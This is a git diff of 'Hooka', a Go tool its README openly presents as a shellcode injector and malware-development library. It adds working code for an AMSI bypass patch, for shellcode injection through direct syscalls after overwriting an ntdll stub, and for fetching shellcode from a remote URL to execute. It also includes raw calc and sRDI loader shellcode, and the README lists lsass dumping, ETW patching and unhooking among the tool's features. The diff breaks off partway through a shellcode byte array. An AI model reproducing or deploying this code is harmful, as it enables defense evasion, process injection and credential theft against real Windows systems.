diff --git a/README.md b/README.md index 38d5f68..f044cca 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,11 @@

Hooka

-

~ Windows hooks detector and shellcode injector written in Golang ~

+

~ Shellcode injector, hooks detector and more written in Golang ~

Introduction • + FeaturesUsageLibraryContributing • @@ -13,86 +14,210 @@ # Introduction -I started this project +I started this project to create a powerful shellcode injector with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hells Gate technique and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful. -There's not to much info about detecting Windows hooks in ***Golang*** so I decided to try by my own and I've also taken some code from [BananaPhone]() project (thanks a lot to ***C-Sto***) +There isn't too much info about detecting Windows hooks in ***Golang*** so I decided to try by my own. However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***) + +# Features + +- Inject shellcode from remote URL or local file +- Shellcode reflective DLL injection (***sRDI***) +- ***AMSI*** and ***ETW*** patch +- Detects hooked functions (i.e. CreateRemoteThread) +- Compatible with base64 and hex encoded shellcode +- Hell's Gate technique +- Capable of unhooking functions +- Multiple shellcode injection techniques: + - CreateRemoteThread + - Fibers + - OpenProcess + - EarlyBirdAPC + +- Dump lsass.exe process to a file +- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware)) +- Test mode (injects a calc.exe shellcode) # Usage -You just have to clone the repository like this: +Before using the project you should know that there are some functions from `ntdll.dll` that aren't usually hooked but they always appear to be hooked. Here you have all false positives: + +``` +NtGetTickCount +NtQuerySystemTime +NtdllDefWindowProc_A +NtdllDefWindowProc_W +NtdllDialogWndProc_A +NtdllDialogWndProc_W +ZwQuerySystemTime +``` + +Just clone the repository like this: ```sh git clone https://github.com/D3Ext/Hooka ``` -``` -``` - -> Detect hooked functions by EDR +> Detect hooked functions by EDR (including false positives) ```sh .\Hooka.exe --hooks ``` +> Test shellcode injection by spawning a calc.exe +```sh +.\Hooka.exe --test +``` + +If no technique is especified it will use a random one + > Inject shellcode from URL ```sh -.\Hooka.exe --inject CreateRemoteThread --url http://192.168.116.37/shellcode.bin +.\Hooka.exe -t CreateRemoteThread --url http://192.168.116.37/shellcode.bin ``` > Inject shellcode from file ```sh -.\Hooka.exe --inject Fibers --file shellcode.bin +.\Hooka.exe -t Fibers --file shellcode.bin ``` > Inject shellcode using Hell's Gate ```sh -.\Hooka.exe --inject CreateRemoteThread --url http://192.168.116.37/shellcode.bin --hells +.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells +``` + +> Unhook function before injecting shellcode +```sh +.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook ``` # Demo > Detecting hooks - + > Injecting shellcode via CreateRemoteThread - + + +> Test function + + +> Dump lsass memory + + +# TODO + +:black_square_button: Stable API for CLR functions + +:black_square_button: More injection techniques + +:black_square_button: Better error handling # Library -If you're looking to implement any function in your malware you can do it using the official library API: +If you're looking to implement any function in your malware you can do it using the official package API: > First of all download the package ```sh -go get github.com/D3Ext/Hooka/pkg +go get github.com/D3Ext/Hooka/pkg/hooka ``` - +> Detect hooked functions (including false positives) ```go -... +package main +import ( + "fmt" + "log" + "github.com/D3Ext/Hooka/pkg/hooka" +) -... +func main(){ + // Returns all hooked functions + hooks, err := hooka.DetectHooks() // func DetectHooks() ([]string, error) {} + if err != nil { + log.Fatal(err) + } + fmt.Println(hooks) + + // Check if an especific function is hooked + check, err := hooka.IsHooked("CreateRemoteThread") // func IsHooked(funcname string) (bool, error) {} + if err != nil { + log.Fatal(err) + } + fmt.Println(check) // true or false +} ``` - +> Resolve syscalls via API hashing ```go -... +package main +import ( + "fmt" + "log" + "github.com/D3Ext/Hooka/pkg/hooka" +) -... +func main(){ + + // = CreateRemoteThread + proc, err := hooka.FuncFromHash("") // Returns a pointer to function like NewProc() + if err != nil { + log.Fatal(err) + } + + proc.Call() + + ... +} +``` + +> Apply AMSI and ETW patch +```go +package main + +import ( + "fmt" + "log" + + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + // Amsi bypass + err := hooka.PatchAmsi(0) // Use 0 for own process + if err != nil { + log.Fatal(err) + } + fmt.Println("AMSI bypassed!") + + // ETW bypass + err = hooka.PatchEtw() + if err != nil { + log.Fatal(err) + } + fmt.Println("ETW bypassed!") +} +``` + +> Unhook a function +```go +package main ``` # Contributing Do you wanna improve the code with any idea or code optimization? You're in the right place -See [CONTRIBUTING.md]() +See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md) # References ``` https://github.com/C-Sto/BananaPhone +https://github.com/timwhitez/Doge-Gabh +https://github.com/Ne0nd0g/go-shellcode https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks https://github.com/Kara-4search/HookDetection_CSharp https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/ @@ -106,7 +231,7 @@ Use this project under your own responsability! # License -This project is licensed under [MIT]() license +This project is licensed under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license Copyright © 2023, *D3Ext* diff --git a/assets/gopher.png b/assets/gopher.png new file mode 100644 index 0000000..d6b03fd Binary files /dev/null and b/assets/gopher.png differ diff --git a/core/amsi.go b/core/amsi.go new file mode 100644 index 0000000..6edff42 --- /dev/null +++ b/core/amsi.go @@ -0,0 +1,83 @@ +package core + +/* + +References: + + +*/ + +import ( + //"errors" + "fmt" + "time" + "unsafe" + "syscall" + + "golang.org/x/sys/windows" +) + +var amsi_patch = []byte{0xc3} + +func PatchAmsi(pid int) (error) { + + amsidll := syscall.NewLazyDLL("amsi.dll") // Load DLLs + kernel32 := syscall.NewLazyDLL("kernel32.dll") + + amsiScanBuffer := amsidll.NewProc("AmsiScanBuffer") + amsiScanString := amsidll.NewProc("AmsiScanString") + amsiInitialize := amsidll.NewProc("AmsiInitialize") + openProcess := kernel32.NewProc("OpenProcess") + closeHandle := kernel32.NewProc("CloseHandle") + getCurrentProcess := kernel32.NewProc("GetCurrentProcess") + virtualProtectEx := kernel32.NewProc("VirtualProtectEx") + writeProcessMemory := kernel32.NewProc("WriteProcessMemory") + + time.Sleep(100 * time.Millisecond) + + var handle uintptr + var err error + + if (pid == 0) { + handle, _, _ = getCurrentProcess.Call() + } else { + handle, _, _ = openProcess.Call(uintptr(0x1F0FFF), uintptr(0), uintptr(pid)) + } + + addresses := []uintptr{ + amsiInitialize.Addr(), + amsiScanBuffer.Addr(), + amsiScanString.Addr(), + } + + var oldProtect uint32 + var old uint32 + + time.Sleep(100 * time.Millisecond) + + for _, addr := range addresses { + + _, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), windows.PAGE_READWRITE, uintptr(unsafe.Pointer(&oldProtect))) + if err != nil { + fmt.Println("error virtualProtectEx") + } + + //writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch))) + r1, _, _ := writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch))) + if r1 == 0 { + fmt.Println("error writeProcessMemory") + } + + //virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old))) + _, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old))) + if err != nil { + fmt.Println("error virtualProtectEx") + } + + } + + closeHandle.Call(handle) + return nil +} + + diff --git a/core/auxiliary.go b/core/auxiliary.go new file mode 100644 index 0000000..f5bf001 --- /dev/null +++ b/core/auxiliary.go @@ -0,0 +1,106 @@ +package core + +import ( + "io" + "os" + "fmt" + "time" + "bytes" + "net/http" + "math/rand" + "io/ioutil" + "crypto/sha1" + "encoding/binary" + + // Third-party packages + "github.com/Binject/debug/pe" +) + +const ntdllpath = "C:\\Windows\\System32\\ntdll.dll" +const kernel32path = "C:\\Windows\\System32\\kernel32.dll" +var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for + +type MayBeHookedError struct { // Define custom error for hooked functions + Foundbytes []byte +} + +func (e MayBeHookedError) Error() string { + return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes) +} + +func RvaToOffset(pefile *pe.File, rva uint32) (uint32) { + for _, hdr := range pefile.Sections { + baseoffset := uint64(rva) + if baseoffset > uint64(hdr.VirtualAddress) && + baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) { + return rva - hdr.VirtualAddress + hdr.Offset + } + } + return rva +} + +func CheckBytes(b []byte) (uint16, error) { + if bytes.HasPrefix(b, HookCheck) == true { // Check syscall bytes + return 0, MayBeHookedError{Foundbytes: b} + } + + return binary.LittleEndian.Uint16(b[4:8]), nil +} + +// Generate a random integer between range + +func RandomInt(max int, min int) (int) { // Return a random number between max and min + rand.Seed(time.Now().UnixNano()) + rand_int := rand.Intn(max - min + 1) + min + return rand_int +} + +// Shellcode helper functions + +func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode + req, err := http.NewRequest("GET", sc_url, nil) + if err != nil { + return []byte(""), err + } + + req.Header.Set("Accept", "application/x-www-form-urlencoded") + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36") + client := &http.Client{} + resp, err := client.Do(req) + if err != nil { + return []byte(""), err + } + defer resp.Body.Close() + + b, err := io.ReadAll(resp.Body) + if err != nil { + return []byte(""), err + } + return b, nil +} + +func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes + f, err := os.Open(file) + if err != nil { + return []byte(""), err + } + defer f.Close() + + shellcode_bytes, err := ioutil.ReadAll(f) + if err != nil { + return []byte(""), err + } + + return shellcode_bytes, nil +} + +// Convert string to Sha1 (used for hashing) + +func StrToSha1(str string) (string) { + h := sha1.New() + h.Write([]byte(str)) + bs := h.Sum(nil) + return fmt.Sprintf("%x", bs) +} + + diff --git a/core/calc.go b/core/calc.go new file mode 100644 index 0000000..d989224 --- /dev/null +++ b/core/calc.go @@ -0,0 +1,15 @@ +package core + +/* + +This package defines calc.exe shellcode which is used in --test function + +*/ + +func CalcShellcode() ([]byte) { + return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3} +} + + + + diff --git a/core/createremotethread.go b/core/createremotethread.go new file mode 100644 index 0000000..edc04eb --- /dev/null +++ b/core/createremotethread.go @@ -0,0 +1,104 @@ +package core + +import ( + "fmt" + "unsafe" + "syscall" + + // Third-party + bap "github.com/C-Sto/BananaPhone/pkg/BananaPhone" + + // Internal + "golang.org/x/sys/windows" +) + +func CreateThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16) { + const ( + thisThread = uintptr(0xffffffffffffffff) + memCommit = uintptr(0x00001000) + memreserve = uintptr(0x00002000) + ) + + var baseA uintptr + regionsize := uintptr(len(shellcode)) + r1, r := bap.Syscall( + NtAllocateVirtualMemorySysid, + handle, + uintptr(unsafe.Pointer(&baseA)), + 0, + uintptr(unsafe.Pointer(®ionsize)), + uintptr(memCommit|memreserve), + syscall.PAGE_READWRITE, + ) + if r != nil { + fmt.Printf("1 %s %x\n", r, r1) + return + } + bap.WriteMemory(shellcode, baseA) + + var oldprotect uintptr + r1, r = bap.Syscall( + NtProtectVirtualMemorySysid, + handle, + uintptr(unsafe.Pointer(&baseA)), + uintptr(unsafe.Pointer(®ionsize)), + syscall.PAGE_EXECUTE_READ, + uintptr(unsafe.Pointer(&oldprotect)), + ) + var hhosthread uintptr + r1, r = bap.Syscall( + NtCreateThreadExSysid, + uintptr(unsafe.Pointer(&hhosthread)), + 0x1FFFFF, + 0, + handle, + baseA, + 0, + uintptr(0), + 0, + 0, + 0, + 0, + ) + syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff) +} + + +func CreateRemoteThread(shellcode []byte) (error) { + kernel32DLL := windows.NewLazySystemDLL("kernel32.dll") + VirtualProtectEx := kernel32DLL.NewProc("VirtualProtectEx") + + bp, e := bap.NewBananaPhone(bap.AutoBananaPhoneMode) + if e != nil { + return e + } + + mess, e := bp.GetFuncPtr("NtCreateThreadEx") + if e != nil { + return e + } + + oldProtect := windows.PAGE_EXECUTE_READ + VirtualProtectEx.Call(uintptr(0xffffffffffffffff), uintptr(mess), uintptr(0x100), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect))) + + bap.WriteMemory([]byte{0x90, 0x90, 0x4c, 0x8b, 0xd1, 0xb8, 0xc1, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}, uintptr(mess)) + + alloc, e := bp.GetSysID("NtAllocateVirtualMemory") + if e != nil { + return e + } + protect, e := bp.GetSysID("NtProtectVirtualMemory") + if e != nil { + return e + } + createthread, e := bp.GetSysID("NtCreateThreadEx") + if e != nil { + return e + } + + CreateThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread) + return nil +} + + + diff --git a/core/dll.go b/core/dll.go new file mode 100644 index 0000000..ef54c28 --- /dev/null +++ b/core/dll.go @@ -0,0 +1,259 @@ +package core + +/* + +References: + +All this functions are taken and ligthly modified from the original gist, thanks to him +https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3 + +*/ + +import ( + "encoding/binary" + "io/ioutil" + "math" +) + +const ( + flags = 0 +) + +func ConvertDllToShellcode(dll_file string, func_name string, data string) ([]byte, error) { + // Read dll file as bytes + dllBytes, err := readFile(dll_file) + if err != nil { + return []byte(""), err + } + + var hashFunction []byte + if func_name != "" { // Check if dll function name is default or not + hashFunctionUint32 := hashFunctionName(func_name) + hashFunction = pack(hashFunctionUint32) + } else { + hashFunction = pack(uint32(0x10)) + } + + sc := ConvertBytes(dllBytes, hashFunction, []byte(data)) + return sc, nil +} + +// +// +// Auxiliary functions down here +// +// + +func ConvertBytes(dllBytes, functionHash, userData []byte) ([]byte) { + rdiShellcode32 := []byte{0x83, 0xEC, 0x48, 0x83, 0x64, 0x24, 0x18, 0x00, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x53, 0x55, 0x56, 0x57, 0x33, 0xF6, 0xE8, 0x22, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x44, 0x24, 0x1C, 0xE8, 0x14, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x06, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x8B, 0xE8, 0xE8, 0xFA, 0x03, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x2C, 0xE8, 0xEC, 0x03, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xDE, 0x03, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x8B, 0x78, 0x3C, 0x03, 0xF8, 0x89, 0x7C, 0x24, 0x10, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xB8, 0x03, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0xF6, 0x47, 0x38, 0x01, 0x75, 0xE8, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4F, 0x24, 0x03, 0xC8, 0x83, 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x47, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, 0xC6, 0x0F, 0x47, 0xF0, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x34, 0x50, 0xFF, 0xD3, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x5F, 0x50, 0x8D, 0x50, 0xFF, 0x8D, 0x48, 0xFF, 0xF7, 0xD2, 0x48, 0x03, 0xCE, 0x03, 0xC3, 0x23, 0xCA, 0x23, 0xC2, 0x3B, 0xC1, 0x75, 0x97, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x53, 0x6A, 0x00, 0xFF, 0xD5, 0x8B, 0x77, 0x54, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x33, 0xC9, 0x89, 0x44, 0x24, 0x14, 0x8B, 0xD3, 0x33, 0xC0, 0x89, 0x5C, 0x24, 0x18, 0x40, 0x89, 0x44, 0x24, 0x24, 0x85, 0xF6, 0x74, 0x37, 0x8B, 0x6C, 0x24, 0x6C, 0x8B, 0x5C, 0x24, 0x14, 0x23, 0xE8, 0x4E, 0x85, 0xED, 0x74, 0x19, 0x8B, 0xC7, 0x2B, 0x44, 0x24, 0x5C, 0x3B, 0xC8, 0x73, 0x0F, 0x83, 0xF9, 0x3C, 0x72, 0x05, 0x83, 0xF9, 0x3E, 0x76, 0x05, 0xC6, 0x02, 0x00, 0xEB, 0x04, 0x8A, 0x03, 0x88, 0x02, 0x41, 0x43, 0x42, 0x85, 0xF6, 0x75, 0xD7, 0x8B, 0x5C, 0x24, 0x18, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x38, 0x83, 0xC7, 0x2C, 0x03, 0xCF, 0x8B, 0x7C, 0x24, 0x5C, 0x8B, 0x51, 0xF8, 0x48, 0x8B, 0x31, 0x03, 0xD3, 0x8B, 0x69, 0xFC, 0x03, 0xF7, 0x89, 0x44, 0x24, 0x5C, 0x85, 0xED, 0x74, 0x0F, 0x8A, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xED, 0x01, 0x75, 0xF5, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC1, 0x28, 0x85, 0xC0, 0x75, 0xD5, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xB7, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x74, 0x7D, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x20, 0x8B, 0x6E, 0x10, 0x8B, 0xF8, 0x8B, 0x06, 0x03, 0xEB, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x74, 0x4F, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x1E, 0x79, 0x1C, 0x8B, 0x47, 0x3C, 0x0F, 0xB7, 0xC9, 0x8B, 0x44, 0x38, 0x78, 0x2B, 0x4C, 0x38, 0x10, 0x8B, 0x44, 0x38, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x38, 0x03, 0xC7, 0xEB, 0x0C, 0x8B, 0x45, 0x00, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x57, 0xFF, 0xD6, 0x89, 0x45, 0x00, 0x83, 0xC5, 0x04, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x75, 0xB9, 0x8B, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24, 0x14, 0x85, 0xC0, 0x75, 0x87, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xEB, 0x2B, 0x6F, 0x34, 0x83, 0xBF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0xAA, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0x8D, 0x00, 0x00, 0x00, 0x8B, 0x32, 0x8D, 0x78, 0xF8, 0x03, 0xF3, 0x8D, 0x42, 0x08, 0xD1, 0xEF, 0x89, 0x44, 0x24, 0x20, 0x74, 0x60, 0x6A, 0x02, 0x8B, 0xD8, 0x5A, 0x0F, 0xB7, 0x0B, 0x4F, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0B, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x01, 0x2C, 0x31, 0xEB, 0x27, 0x66, 0x3B, 0x44, 0x24, 0x24, 0x75, 0x11, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x66, 0x01, 0x04, 0x31, 0xEB, 0x0F, 0x66, 0x3B, 0xC2, 0x75, 0x0A, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x66, 0x01, 0x2C, 0x31, 0x03, 0xDA, 0x85, 0xFF, 0x75, 0xB1, 0x8B, 0x5C, 0x24, 0x18, 0x8B, 0x54, 0x24, 0x5C, 0x8B, 0x4C, 0x24, 0x14, 0x03, 0x11, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x85, 0x77, 0xFF, 0xFF, 0xFF, 0x8B, 0x7C, 0x24, 0x10, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0xB7, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x24, 0x5C, 0x8D, 0x6F, 0x3C, 0x03, 0xE9, 0x48, 0x83, 0x7D, 0xEC, 0x00, 0x89, 0x44, 0x24, 0x24, 0x0F, 0x86, 0x94, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x00, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 0x75, 0x07, 0x6A, 0x08, 0x5E, 0x6A, 0x01, 0xEB, 0x05, 0x6A, 0x04, 0x5E, 0x6A, 0x02, 0x85, 0xC9, 0x58, 0x0F, 0x44, 0xF0, 0xEB, 0x2C, 0x85, 0xD2, 0x75, 0x17, 0x85, 0xC9, 0x75, 0x04, 0x6A, 0x10, 0xEB, 0x15, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x18, 0xBE, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x85, 0xC9, 0x75, 0x05, 0x6A, 0x20, 0x5E, 0xEB, 0x08, 0x6A, 0x40, 0x85, 0xC9, 0x58, 0x0F, 0x45, 0xF0, 0x8B, 0x4D, 0x00, 0x8B, 0xC6, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x81, 0xE1, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC6, 0x8B, 0xF0, 0x8D, 0x44, 0x24, 0x28, 0x50, 0x8B, 0x45, 0xE8, 0x56, 0xFF, 0x75, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x3C, 0x85, 0xC0, 0x0F, 0x84, 0xEC, 0xFC, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC5, 0x28, 0x85, 0xC0, 0x0F, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0x8B, 0x77, 0x28, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0xFF, 0x03, 0xF3, 0xFF, 0x54, 0x24, 0x3C, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x53, 0xFF, 0xD6, 0x83, 0x7C, 0x24, 0x60, 0x00, 0x74, 0x7C, 0x83, 0x7F, 0x7C, 0x00, 0x74, 0x76, 0x8B, 0x4F, 0x78, 0x03, 0xCB, 0x8B, 0x41, 0x18, 0x85, 0xC0, 0x74, 0x6A, 0x83, 0x79, 0x14, 0x00, 0x74, 0x64, 0x8B, 0x69, 0x20, 0x8B, 0x79, 0x24, 0x03, 0xEB, 0x83, 0x64, 0x24, 0x5C, 0x00, 0x03, 0xFB, 0x85, 0xC0, 0x74, 0x51, 0x8B, 0x75, 0x00, 0x03, 0xF3, 0x33, 0xD2, 0x0F, 0xBE, 0x06, 0xC1, 0xCA, 0x0D, 0x03, 0xD0, 0x46, 0x80, 0x7E, 0xFF, 0x00, 0x75, 0xF1, 0x39, 0x54, 0x24, 0x60, 0x74, 0x16, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC5, 0x04, 0x40, 0x83, 0xC7, 0x02, 0x89, 0x44, 0x24, 0x5C, 0x3B, 0x41, 0x18, 0x72, 0xD0, 0xEB, 0x1F, 0x0F, 0xB7, 0x17, 0x83, 0xFA, 0xFF, 0x74, 0x17, 0x8B, 0x41, 0x1C, 0xFF, 0x74, 0x24, 0x68, 0xFF, 0x74, 0x24, 0x68, 0x8D, 0x04, 0x90, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B, 0xC3, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x48, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB} + rdiShellcode64 := []byte{0x48, 0x8B, 0xC4, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x78, 0x83, 0x60, 0x08, 0x00, 0x48, 0x8B, 0xE9, 0xB9, 0x4C, 0x77, 0x26, 